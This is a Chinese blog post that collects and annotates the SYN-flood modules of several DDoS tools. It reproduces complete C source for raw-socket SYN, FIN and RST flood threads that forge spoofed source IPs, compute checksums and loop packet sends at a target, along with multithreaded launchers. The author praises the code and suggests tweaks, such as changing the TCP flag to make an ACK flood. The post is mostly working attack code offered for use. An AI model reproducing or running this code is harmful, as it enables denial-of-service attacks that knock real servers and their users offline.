对现有的所能找到的DDOS代码(攻击模块)做出一次分析----SYN(洪水攻击)篇
对现有的所能找到的DDOS代码(攻击模块)做出一次分析----SYN(洪水攻击)篇
//=================================================================================
飞龙 BLOG:http://hi.baidu.com/alalmn
分析的不好请各位高手见谅花了几个小时分析的呵呵
SYN洪水攻击
syn flood(SYN洪水攻击)介绍 http://hi.baidu.com/alalmn/blog/ ... 4fae00304e15e8.html
TcpHeader.th_flag = 2; //0,2,4,8,16,32->FIN,SYN,RST,PSH,ACK,URG //SYN 标志
我们可以不可以改变这个值 2是SYN攻击 改成16变成ACK攻击
这样可以吗
我刚才还在想这个问题 暴风DDOSVIP2010-225源代码.h 源码里就已经写到了呵呵爽啊
暴风DDOSVIP2010-225源代码.h SYN(流量) 我觉得写得非常好真的个人看法
QQ:316118740
//=================================================================================
冷风的.h
typedef struct tcphdr //定义TCP首部
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsigned int th_seq; //32位序列号
unsigned int th_ack; //32位确认号
unsigned char th_lenres; //4位首部长度+6位保留字中的4位
unsigned char th_flag; //2位保留字+6位标志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校验和
USHORT th_urp; //16位紧急数据偏移量
}TCP_HEADER;
typedef struct _iphdr //ip头
{
unsigned char h_verlen; //4位首部长度+4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间TTL
unsigned char proto; //8位协议号(TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IP_HEADER;
typedef struct tsd_hdr //定义TCP伪首部
{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz;
char ptcl; //协议类型
unsigned short tcpl; //TCP长度
}PSD_HEADER;
//计算校验和
USHORT checksum(USHORT *buffer,int size)
{
unsigned long cksum=0;
while (size>1)
{
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if (size)
{
cksum+=*(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
/*********************SYN FLOOD**************************/
unsigned long CALLBACK SynFloodFunction(LPVOID dParam) //SYN攻击
{
SOCKET sendSocket; //套接字
SOCKADDR_IN Sin; //IP信息结构
IP_HEADER ipHeader;
TCP_HEADER tcpHeader;
PSD_HEADER psdHeader;
char szSendBuf[1024] = "";
if((sendSocket = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET) //创建一个与指定传送服务提供者捆绑的套接口
{ //INVALID_SOCKET发生错误
printf("Socket Setup Error...\n"); //插口设定错误…
return 0;
}
BOOL flag=1;
if(setsockopt(sendSocket, IPPROTO_IP, IP_HDRINCL, (char *)&flag, sizeof(flag)) == SOCKET_ERROR) //设置套接口的选项 设置发送和接收的超时 //SOCKET_ERROR创建错误
{
printf("Setsockopt IP_HDRINCL Error...\n"); //Setsockopt IP_HDRINCL错误…
return 0;
}
int timeout = 3000;
if(setsockopt(sendSocket, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout)) == SOCKET_ERROR) //设置套接口的选项 设置发送和接收的超时 //SOCKET_ERROR创建错误
{
printf("Setsockopt SO_SNDTIMEO Error...\n"); //Setsockopt SO_SNDTIMEO错误…
return 0;
}
Sin.sin_family = AF_INET; //sin_family 地址家族(必须是AF_INET)
Sin.sin_port=htons(DdosPort); //目标端口号(使用网络字节顺序)
Sin.sin_addr.S_un.S_addr=resolve(DdosUrl); //目标IP地址
char src_ip[20] = {0};
while(!StopDDosAttack) //是否在攻击状态
{
wsprintf( src_ip, "%d.%d.%d.%d", rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1 ); //格式化字符串 伪造IP
//填充IP首部
ipHeader.h_verlen = (4<<4 | sizeof(ipHeader)/sizeof(unsigned long)); //高四位IP版本号,低四位首部长度
ipHeader.tos = 0;
ipHeader.total_len = htons(sizeof(ipHeader)+sizeof(tcpHeader)); //16位总长度(字节)
ipHeader.ident = 1; //16位标识
ipHeader.frag_and_flags = 0x40; //3位标志位
ipHeader.ttl = 128; //8位生存时间TTL
ipHeader.proto = IPPROTO_TCP; //8位协议(TCP,UDP…)
ipHeader.checksum = 0; //16位IP首部校验和
ipHeader.sourceIP = inet_addr(src_ip); //伪IP 伪装自己的IP
ipHeader.destIP = Sin.sin_addr.s_addr; //目标地址
//填充TCP首部
tcpHeader.th_sport = htons( 12121 ); //源端口号
tcpHeader.th_dport = htons( DdosPort ); //目标端口
tcpHeader.th_seq = htonl( rand()%900000000 + 1 ); //SYN序列号
tcpHeader.th_ack = 0; //ACK序列号置为0
tcpHeader.th_lenres = (sizeof(tcpHeader)/4<<4|0); //TCP长度和保留位
tcpHeader.th_flag = 0x02; //SYN 标志 //0,2,4,8,16,32->FIN,SYN,RST,PSH,ACK,URG
tcpHeader.th_win = htons(512); //窗口大小
tcpHeader.th_sum = 0; //校验
tcpHeader.th_urp = 0; //紧急数据偏移量
//填充TCP伪首部(用于计算校验和,并不真正发送)
psdHeader.saddr = ipHeader.sourceIP; //伪IP 伪装自己的IP
psdHeader.daddr = ipHeader.destIP; //目标地址
psdHeader.mbz = 0;
psdHeader.ptcl = IPPROTO_TCP; //协议类型
psdHeader.tcpl = htons(sizeof(tcpHeader)); //TCP长度
//计算TCP校验和
//计算TCP校验和,计算校验和时需要包括TCP pseudo header
memcpy( szSendBuf, &psdHeader, sizeof(psdHeader) );
memcpy( szSendBuf + sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader) );
tcpHeader.th_sum = checksum( (USHORT *) szSendBuf, sizeof(psdHeader) + sizeof(tcpHeader) );
//计算IP检验和
memcpy( szSendBuf, &ipHeader, sizeof(ipHeader) );
memcpy( szSendBuf + sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader) );
memset( szSendBuf + sizeof(ipHeader) + sizeof(tcpHeader), 0, 4 ); //内存空间初始化
ipHeader.checksum = checksum( (USHORT *) szSendBuf, sizeof(ipHeader) + sizeof(tcpHeader) );
memcpy( szSendBuf, &ipHeader, sizeof(ipHeader) ); //填充发送缓冲区
memcpy( szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader) ); //填充发送缓冲区
for(int a=0;a<100;a++) //每发送100个报文输出一个标示符.
{
sendto(sendSocket, szSendBuf, sizeof(ipHeader) + sizeof(tcpHeader), 0, (struct sockaddr*)&Sin, sizeof(Sin)); //发送TCP报文
//为什么没有写法返回状态呢
printf(".");
}
Sleep(100); //暂停(毫秒)
}
return 0;
}
//=================================================================================
暴风DDOSVIP2010-225源代码.h
//Fin(流量) 伪造RST协议(流量) 攻击模块为什么没有像 SYN(流量) 那样写呢 SYN(流量)写的真的很好
/*--------------------------------------IP与封报校验------------------------------------------*/
typedef struct _iphdr
{
unsigned char h_verlen; //4位手部长度,和4位IP版本号
unsigned char tos; //8位类型服务
unsigned short total_len; //16位总长度
unsigned short ident; //16位标志
unsigned short frag_and_flags; //类型
unsigned char ttl; //8位生存时间
unsigned char proto; //8位协议
unsigned short checksum; //ip首部效验和
unsigned int sourceIP; //伪造IP地址或本机
unsigned int destIP; //攻击的ip地址
}IP_HEADER, * PIP_HEADER;
/*--------------------------------------SYN data----------------------------------------------*/
typedef struct _tcphdr
{
unsigned short th_sport; //本机端口
unsigned short th_dport; //攻击的IP端口
unsigned int th_seq; //32位序列号
unsigned int th_ack; //32位确认号
unsigned char th_lenres; //4位首部长度
unsigned char th_flag; //6位标志位 ACK SYN and so on
unsigned short th_win; //16位窗口大小
unsigned short th_sum; //16位效验和
unsigned short th_urp; //16位紧急指针
}TCP_HEADER, * PTCP_HEADER;
typedef struct tsd_hdr
{
unsigned long saddr; //本机地址或伪造地址
unsigned long daddr; //目标地址
char mbz;
char ptcl; //协议类型
unsigned short tcpl; //TCP长度
}PSD_HEADER;
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size)
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
/*--------------------------------------------------------------------------------------*/
void finattack() //Fin(流量)
{
srand((unsigned) time(NULL));
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
SOCKET SendSocket;
IP_HEADER ip_header;
TCP_HEADER tcp_header;
PSD_HEADER psd_header;
char rawip[20]="192.168.1.244";
char SendBuff[100];
SendSocket = WSASocket( AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED );
if( SendSocket == INVALID_SOCKET )
return;
BOOL Flag = TRUE;
if( setsockopt(SendSocket, IPPROTO_IP, IP_HDRINCL, (char *)&Flag, sizeof(Flag)) == SOCKET_ERROR )
return;
int Timeout = 5000;
if ( setsockopt(SendSocket, SOL_SOCKET, SO_SNDTIMEO, (char *) &Timeout, sizeof(Timeout)) == SOCKET_ERROR )
return;
SOCKADDR_IN Sin;
Sin.sin_family = AF_INET;
Sin.sin_port = tgtPort;
Sin.sin_addr.s_addr = inet_addr(tgtIP);
ip_header.h_verlen = (4<<4 | sizeof(ip_header)/sizeof(unsigned long));
ip_header.tos = 0;
ip_header.total_len = htons(sizeof(ip_header)+sizeof(tcp_header));
ip_header.ident = 1;
ip_header.frag_and_flags = 0x40;
ip_header.ttl = rand()%256;
ip_header.proto = IPPROTO_TCP;
ip_header.checksum = 0;
ip_header.sourceIP = inet_addr(rawip);
ip_header.destIP = inet_addr(tgtIP);
tcp_header.th_sport = htons( rand()%60000 + 1 );
tcp_header.th_dport = htons( tgtPort );
tcp_header.th_seq = htonl( rand()%900000000 + 1 );
tcp_header.th_ack = 0;
tcp_header.th_lenres = (sizeof(tcp_header)/4<<4|0);
tcp_header.th_flag = 0; //0,2,4,8,16,32->FIN,SYN,RST,PSH,ACK,URG 这个地方不一样
tcp_header.th_win = htons(512);
tcp_header.th_sum = 0;
tcp_header.th_urp = 0;
psd_header.saddr = ip_header.sourceIP;
psd_header.daddr = ip_header.destIP;
psd_header.mbz = 0;
psd_header.ptcl = IPPROTO_TCP;
psd_header.tcpl = htons(sizeof(tcp_header));
memcpy(SendBuff,&psd_header,sizeof(psd_header));
memcpy(SendBuff+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
tcp_header.th_sum=checksum((USHORT*)SendBuff,sizeof(psd_header)+sizeof(tcp_header));
memcpy(SendBuff,&ip_header,sizeof(ip_header));
memcpy(SendBuff+sizeof(ip_header),&tcp_header, sizeof(tcp_header));
memset(SendBuff+sizeof(ip_header)+sizeof(tcp_header),0,4);
ip_header.checksum=checksum((USHORT*)SendBuff,sizeof(ip_header)+sizeof(tcp_header));
memcpy(SendBuff,&ip_header,sizeof(ip_header));
memcpy(SendBuff+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
while (1)
{
if (StopFlag == 1)
{
ExitThread(0);
return;
}
for(int a=0;a<1000;a++)
sendto(SendSocket, SendBuff, sizeof(ip_header) + sizeof(tcp_header), 0, (struct sockaddr *) &Sin, sizeof(Sin));
Sleep(SleepTime);
}
return;
}
/*--------------------------------------------------------------------------------------*/
void StartFIN(char ip[30],int port,int time,int xc) //Fin(流量)
{
if (inet_addr(ip)== INADDR_NONE)
{
struct hostent *hp = NULL;
if ((hp = gethostbyname(ip)) != NULL)
{
in_addr in;
memcpy(&in, hp->h_addr, hp->h_length);
strcpy(tgtIP,inet_ntoa(in));
}
}
else
strcpy(tgtIP,ip);
port=tgtPort;
time=timeout;
if (StopFlag == -1)
return;
StopFlag=-1;
for(z=0;z<xc;z++)
{
h[z]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)finattack, NULL, 0, NULL);
}
if(timeout!=0)
{
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL);
}
}
/*--------------------------------------------------------------------------------------*/
void rstattack() //伪造RST协议(流量)
{
srand((unsigned) time(NULL));
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
SOCKET SendSocket;
IP_HEADER ip_header;
TCP_HEADER tcp_header;
PSD_HEADER psd_header;
char rawip[20]="192.168.1.244";
char SendBuff[100];
SendSocket = WSASocket( AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED );
if( SendSocket == INVALID_SOCKET )
return;
BOOL Flag = TRUE;
if( setsockopt(SendSocket, IPPROTO_IP, IP_HDRINCL, (char *)&Flag, sizeof(Flag)) == SOCKET_ERROR )
return;
int Timeout = 5000;
if ( setsockopt(SendSocket, SOL_SOCKET, SO_SNDTIMEO, (char *) &Timeout, sizeof(Timeout)) == SOCKET_ERROR )
return;
SOCKADDR_IN Sin;
Sin.sin_family = AF_INET;
Sin.sin_port = tgtPort;
Sin.sin_addr.s_addr = inet_addr(tgtIP);
ip_header.h_verlen = (4<<4 | sizeof(ip_header)/sizeof(unsigned long));
ip_header.tos = 0;
ip_header.total_len = htons(sizeof(ip_header)+sizeof(tcp_header));
ip_header.ident = 1;
ip_header.frag_and_flags = 0x40;
ip_header.ttl = rand()%256;
ip_header.proto = IPPROTO_TCP;
ip_header.checksum = 0;
ip_header.sourceIP = inet_addr(rawip);
ip_header.destIP = inet_addr(tgtIP);
tcp_header.th_sport = htons( rand()%60000 + 1 );
tcp_header.th_dport = htons( tgtPort );
tcp_header.th_seq = htonl( rand()%900000000 + 1 );
tcp_header.th_ack = 0;
tcp_header.th_lenres = (sizeof(tcp_header)/4<<4|0);
tcp_header.th_flag = 4; //0,2,4,8,16,32->FIN,SYN,RST,PSH,ACK,URG 这个地方不一样
tcp_header.th_win = htons(512);
tcp_header.th_sum = 0;
tcp_header.th_urp = 0;
psd_header.saddr = ip_header.sourceIP;
psd_header.daddr = ip_header.destIP;
psd_header.mbz = 0;
psd_header.ptcl = IPPROTO_TCP;
psd_header.tcpl = htons(sizeof(tcp_header));
memcpy(SendBuff,&psd_header,sizeof(psd_header));
memcpy(SendBuff+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
tcp_header.th_sum=checksum((USHORT*)SendBuff,sizeof(psd_header)+sizeof(tcp_header));
memcpy(SendBuff,&ip_header,sizeof(ip_header));
memcpy(SendBuff+sizeof(ip_header),&tcp_header, sizeof(tcp_header));
memset(SendBuff+sizeof(ip_header)+sizeof(tcp_header),0,4);
ip_header.checksum=checksum((USHORT*)SendBuff,sizeof(ip_header)+sizeof(tcp_header));
memcpy(SendBuff,&ip_header,sizeof(ip_header));
memcpy(SendBuff+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
while (1)
{
if (StopFlag == 1)
{
ExitThread(0);
return;
}
for(int a=0;a<10000;a++)
sendto(SendSocket, SendBuff, sizeof(ip_header) + sizeof(tcp_header), 0, (struct sockaddr *) &Sin, sizeof(Sin));
Sleep(SleepTime);
}
return;
}
/*--------------------------------------------------------------------------------------*/
void StartRST(char ip[30],int port,int time,int xc) //伪造RST协议(流量)
{
if (inet_addr(ip)== INADDR_NONE)
{
struct hostent *hp = NULL;
if ((hp = gethostbyname(ip)) != NULL)
{
in_addr in;
memcpy(&in, hp->h_addr, hp->h_length);
strcpy(tgtIP,inet_ntoa(in));
}
}
else
strcpy(tgtIP,ip);
port=tgtPort;
time=timeout;
if (StopFlag == -1)
return;
StopFlag=-1;
for(z=0;z<xc;z++)
{
h[z]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)rstattack, NULL, 0, NULL);
}
if(timeout!=0)
{
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL);
}
}
/*-------------------------------------------------------------------------------------------*/
void synattack() //SYN(流量)
{
srand((unsigned) time(NULL));
WSADATA wsaData; //这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2, 2), &wsaData); //确定SOCKET版本
SOCKET SendSocket;
IP_HEADER ip_header;
TCP_HEADER tcp_header;
PSD_HEADER psd_header;
char rawip[20]="192.168.1.244"; //默认伪IP
char SendBuff[100];
SendSocket = WSASocket( AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED ); //创建一个与指定传送服务提供者捆绑的套接口
if( SendSocket == INVALID_SOCKET ) //INVALID_SOCKET发生错误
return;
BOOL Flag = TRUE;
if( setsockopt(SendSocket, IPPROTO_IP, IP_HDRINCL, (char *)&Flag, sizeof(Flag)) == SOCKET_ERROR ) //设置套接口的选项 设置发送和接收的超时 //SOCKET_ERROR创建错误
return;
int Timeout = 5000;
if ( setsockopt(SendSocket, SOL_SOCKET, SO_SNDTIMEO, (char *) &Timeout, sizeof(Timeout)) == SOCKET_ERROR ) //设置套接口的选项 设置发送和接收的超时 //SOCKET_ERROR创建错误
return;
SOCKADDR_IN Sin; //IP信息结构
Sin.sin_family = AF_INET; //sin_family 地址家族(必须是AF_INET)
Sin.sin_port = tgtPort; //目标端口号(使用网络字节顺序)
Sin.sin_addr.s_addr = inet_addr(tgtIP); //目标IP地址
ip_header.h_verlen = (4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本号,低四位首部长度
ip_header.tos = 0;
ip_header.total_len = htons(sizeof(ip_header)+sizeof(tcp_header)); //16位总长度(字节)
ip_header.ident = 1; //16位标识
ip_header.frag_and_flags = 0x40; //3位标志位
ip_header.ttl = rand()%256; //8位生存时间TTL
ip_header.proto = IPPROTO_TCP; //8位协议(TCP,UDP…)
ip_header.checksum = 0; //16位IP首部校验和
ip_header.sourceIP = inet_addr(rawip); //伪IP 伪装自己的IP
ip_header.destIP = inet_addr(tgtIP); //目标地址
//填充TCP首部
tcp_header.th_sport = htons( rand()%60000 + 1 ); //源端口号 目标端口 随机产生呵呵很好很高很绝
tcp_header.th_dport = htons( tgtPort ); //目标端口
tcp_header.th_seq = htonl( rand()%900000000 + 1 ); //SYN序列号
tcp_header.th_ack = 0; //ACK序列号置为0
tcp_header.th_lenres = (sizeof(tcp_header)/4<<4|0); //TCP长度和保留位
tcp_header.th_flag = 2; //SYN 标志 //0,2,4,8,16,32->FIN,SYN,RST,PSH,ACK,URG
tcp_header.th_win = htons(512); //窗口大小
tcp_header.th_sum = 0; //校验
tcp_header.th_urp = 0; //紧急数据偏移量
//填充TCP伪首部(用于计算校验和,并不真正发送)
psd_header.saddr = ip_header.sourceIP; //伪IP 伪装自己的IP
psd_header.daddr = ip_header.destIP; //目标地址
psd_header.mbz = 0;
psd_header.ptcl = IPPROTO_TCP; //协议类型
psd_header.tcpl = htons(sizeof(tcp_header)); //TCP长度
while (1)
{
if (StopFlag == 1) //判断攻击状态
{
ExitThread(0);
return;
}
for(int a=0;a<10240;a++)//发送10240个报文
{ //写的很好 伪IP 都在这个循环里 填充TCP上边已经做了 但是这个循环里又对随机动态信息进行了处理 写的很好太伟大了
wsprintf(rawip, "%d.%d.%d.%d",rand()%250+1,rand()%250+1,rand()%250+1,rand()%250+1); //格式化字符串 伪造IP
ip_header.checksum = 0;
ip_header.ttl = rand()%256; //8位生存时间TTL
ip_header.sourceIP = inet_addr(rawip); //伪IP 伪装自己的IP
tcp_header.th_sum = 0; //校验
tcp_header.th_sport = htons( rand()%60000 + 1 ); //源端口号 目标端口 随机产生呵呵很好很高很绝
tcp_header.th_seq = htonl( rand()%900000000 + 1 ); //SYN序列号
//应该把目标端口也加到这个里面
psd_header.saddr = ip_header.sourceIP; //伪IP 伪装自己的IP
memcpy(SendBuff,&psd_header,sizeof(psd_header));
memcpy(SendBuff+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
tcp_header.th_sum=checksum((USHORT*)SendBuff,sizeof(psd_header)+sizeof(tcp_header));
memcpy(SendBuff,&ip_header,sizeof(ip_header));
memcpy(SendBuff+sizeof(ip_header),&tcp_header, sizeof(tcp_header));
memset(SendBuff+sizeof(ip_header)+sizeof(tcp_header),0,4);
ip_header.checksum=checksum((USHORT*)SendBuff,sizeof(ip_header)+sizeof(tcp_header));
memcpy(SendBuff,&ip_header,sizeof(ip_header)); //填充发送缓冲区
memcpy(SendBuff+sizeof(ip_header),&tcp_header,sizeof(tcp_header)); //填充发送缓冲区
sendto(SendSocket, SendBuff, sizeof(ip_header) + sizeof(tcp_header), 0, (struct sockaddr *) &Sin, sizeof(Sin)); //发送TCP报文
//为什么没有写法返回状态呢
//这里写个返回状态更好了
}
Sleep(SleepTime);
}
return;
}
/*--------------------------------------------------------------------------------------*/
void StartSYN(char ip[30],int port,int time,int xc) //SYN(流量)
{
if (inet_addr(ip)== INADDR_NONE)
{
struct hostent *hp = NULL;
if ((hp = gethostbyname(ip)) != NULL)
{
in_addr in;
memcpy(&in, hp->h_addr, hp->h_length);
strcpy(tgtIP,inet_ntoa(in));
}
}
else
strcpy(tgtIP,ip);
port=tgtPort;
time=timeout;
if (StopFlag == -1)
return;
StopFlag=-1;
for(z=0;z<xc;z++)
{
h[z]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)synattack, NULL, 0, NULL);
}
if(timeout!=0)
{
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL);
}
}
//=================================================================================
盘古DDOS优化版源码.h
///攻击函数
//SYN
void synflood()
{
BOOL flag=TRUE;
int time=5000;
char src_ip[20]="192.168.0.1";
WSAData wsadata; //这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2),&wsadata); //确定SOCKET版本
SOCKET synSock;
SOCKADDR_IN synaddr; //IP信息结构
IPHEADER ipheader;
TCPHEADER tcpheader;
TSDHEADER psdheader;
synSock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED); //创建一个与指定传送服务提供者捆绑的套接口
if(synSock==INVALID_SOCKET) //INVALID_SOCKET发生错误
return;
if(setsockopt(synSock,IPPROTO_IP,IP_HDRINCL,(char*)&flag,sizeof(flag))==SOCKET_ERROR) //设置套接口的选项 设置发送和接收的超时 //SOCKET_ERROR创建错误
return;
if(setsockopt(synSock,SOL_SOCKET,SO_SNDTIMEO,(char*)&time,sizeof(time))==SOCKET_ERROR) //设置套接口的选项 设置发送和接收的超时 //SOCKET_ERROR创建错误
return;
synaddr.sin_family = AF_INET; //sin_family 地址家族(必须是AF_INET)
synaddr.sin_port = htons(tgtport); //目标端口号(使用网络字节顺序)
synaddr.sin_addr.S_un.S_addr = inet_addr(tgtip); //目标IP地址
wsprintf( src_ip, "%d.%d.%d.%d", rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1 ); //格式化字符串 伪造IP
//填充IP首部
ipheader.h_verlen = (4<<4 | sizeof(ipheader)/sizeof(unsigned long)); //高四位IP版本号,低四位首部长度
ipheader.tos = 0;
ipheader.total_len = htons(sizeof(ipheader)+sizeof(tcpheader)); //16位总长度(字节)
ipheader.ident = 1; //16位标识
ipheader.frag_and_flags = 0; //3位标志位
ipheader.ttl = 128; //8位生存时间TTL
ipheader.proto = IPPROTO_TCP; //8位协议(TCP,UDP…)
ipheader.checksum = 0; //16位IP首部校验和
ipheader.SourceIP = inet_addr(src_ip); //伪IP 伪装自己的IP
ipheader.DestIP = inet_addr(tgtip); //目标地址
//填充TCP首部
tcpheader.th_sport = htons(5444);//源端口号
tcpheader.th_dport = htons(tgtport); //目标端口
tcpheader.th_seq = htonl(0x12345678); //SYN序列号
tcpheader.th_ack = 0; //ACK序列号置为0
tcpheader.th_lenres = (sizeof(tcpheader)/4<<4|0); //TCP长度和保留位
tcpheader.th_flag = 2; //0,2,4,8,16,32->FIN,SYN,RST,PSH,ACK,URG //SYN 标志
tcpheader.th_win = htons(512); //窗口大小
tcpheader.th_sum = 0; //校验
tcpheader.th_urp = 0; //紧急数据偏移量
//填充TCP伪首部(用于计算校验和,并不真正发送)
psdheader.saddr = ipheader.SourceIP; //伪IP 伪装自己的IP
psdheader.daddr = ipheader.DestIP; //目标地址
psdheader.mbz = 0;
psdheader.ptcl = IPPROTO_TCP; //协议类型
psdheader.tcpl = htons(sizeof(tcpheader)); //TCP长度
//计算校验和
char SendBuff[100]={0};
memcpy(SendBuff, &psdheader, sizeof(psdheader));
memcpy(SendBuff+sizeof(psdheader), &tcpheader, sizeof(tcpheader));
tcpheader.th_sum=checksum((USHORT *)SendBuff,sizeof(psdheader)+sizeof(tcpheader));
memcpy(SendBuff, &ipheader, sizeof(ipheader)); //填充发送缓冲区
memcpy(SendBuff+sizeof(ipheader), &tcpheader, sizeof(tcpheader)); //填充发送缓冲区
while(1)
{
if(Stop==1) //是否在攻击状态
{
ExitThread(0);
return;
}
for(int i=0;i<10000;i++)
sendto(synSock,SendBuff,sizeof(ipheader)+sizeof(tcpheader),0,(struct sockaddr*)&synaddr,sizeof(synaddr)); //发送TCP报文
Sleep(20);
}
closesocket(synSock); //关闭SOCKET
WSACleanup(); //中止Windows Sockets DLL的使用
}
//=================================================================================
对现有的所能找到的DDOS代码(攻击模块)做出一次分析----SYN(洪水攻击)篇相关推荐
- 对现有的所能找到的DDOS代码(攻击模块)做出一次分析----自定义攻击篇
对现有的所能找到的DDOS代码(攻击模块)做出一次分析----自定义攻击篇 //=================================================== 分析者:alal ...
- 对现有的所能找到的DDOS代码(攻击模块)做出一次分析----UDP篇
//========================================= 对现有的所能找到的DDOS代码(攻击模块)做出一次分析----UDP篇 文章作者:alalmn-飞龙 信息来源: ...
- 对现有的所能找到个DDOS代码(攻击模块)做出一次分析----TCP篇
分析者:alalmn-飞龙 BLOG:http://hi.baidu.com/alalmn 分析的不好请各位高手见谅花了几个小时分析的呵呵 TCP攻击主要分为2种 1.TCP并发连接攻击 ...
- 对现有的所能找到的DDOS代码(攻击模块)做出一次分析----ICMP篇
分析者:alalmn-飞龙 BLOG:http://hi.baidu.com/alalmn 分析的不好请各位高手见谅花了几个小时分析的呵呵 ICMP洪水攻击从代码中我们可以看出都是 自定义 ...
- 对现有的所能找到的DDOS代码(攻击模块)做出一次分析----CC篇
//================================================================================= 分析者:alalmn-飞龙 ...
- 对现有的所能找到的DDOS代码(攻击模块)做出一次分析----GET篇
//================================================================================= 分析者:alalmn-飞龙 ...
- 对现有的所能找到的DDOS代码(攻击模块)做出一次分析----其他(攻击方式)篇
//================================================================================= 文章作者:alalmn-飞龙 分 ...
- DDOS 攻击防御-SYN 洪水攻击
本文章仅供学习交流 一.环境配置 攻击机:kali 2021.1 ip: 192.168.0.118 255.255.255.0 靶机:contos7.6 ip:192.168.0.116 255.2 ...
- DDoS攻击详解ufonet、Mirai分布式拒绝服务攻击工具的介绍
前言 大家好.今天和大家聊聊DDoS攻击 首先,我写这篇文章的目的是为了让大家更多的去了解如何防护DDoS攻击,所以请勿用作违法行为! 不知攻,何知防?在我们对DDoS攻击进行防御之前,一定要了解骇客 ...
最新文章
- C++ STL的reserve函数
- 四个超好用的优质资源搜索网站,海量优质资源等你发现!
- 芒果TV 2021 互联网人才招聘
- python 生成时间序列
- python详细安装教程3.8.3-Python下载 v3.8.3 官方中文版
- 使用opengl编程实现一个三维渲染实体_Unity Shader学习随记_01_渲染流水线
- linux将txt文件复制为bak,Linux命令:cp (copy)复制文件或目录
- 实例60:python
- Map集合 java
- zabbix中文乱码设置
- C#基础复习(4) 之 浅析List、Dictionary
- python中input数组_python-numpy.interp和掩码数组
- ubuntu19.04支持android,Ubuntu 19.04 最终发布日期和计划功能公布
- 假设某台台式计算机的内存储器容量为128,假设某台计算机的内存储器容量为128MB,硬盘容量为10GB,硬盘的容量是内存容量的多少倍?...
- Smobiler控件的使用:ListView的数据绑定及实现多选
- 儿童吹泡泡水简单配方_教你泡泡水的制作方法 自制泡泡水配方大全
- JavaScript学习之面向对象编程-04
- 巨头们的盈利之道:药店的这个营销方法,其他行业也适用!
- SCI、SCI期刊与SCI论文的区别
- PCB设计时如何选择合适的叠层方案
热门文章
- 常用的函数式接口_Consumer接口的默认方法andThen
- POI的入门:加载解析Excel
- finally代码块
- 制作模块-制作模块压缩包
- java进程优先级,跨平台方式改变java进程优先级
- delphi query 存储为dbf_在Delphi程序中维护DBF数据库
- 适合oracle运行的软件环境,创建最适合的Oracle运行环境
- Scala语言整理(一)
- 解决IntelliJ IDEA下Maven报错Unknown lifecycle phase “.test.skip=true“. You must specify a valid lifecycle
- PyTorch深度学习实践05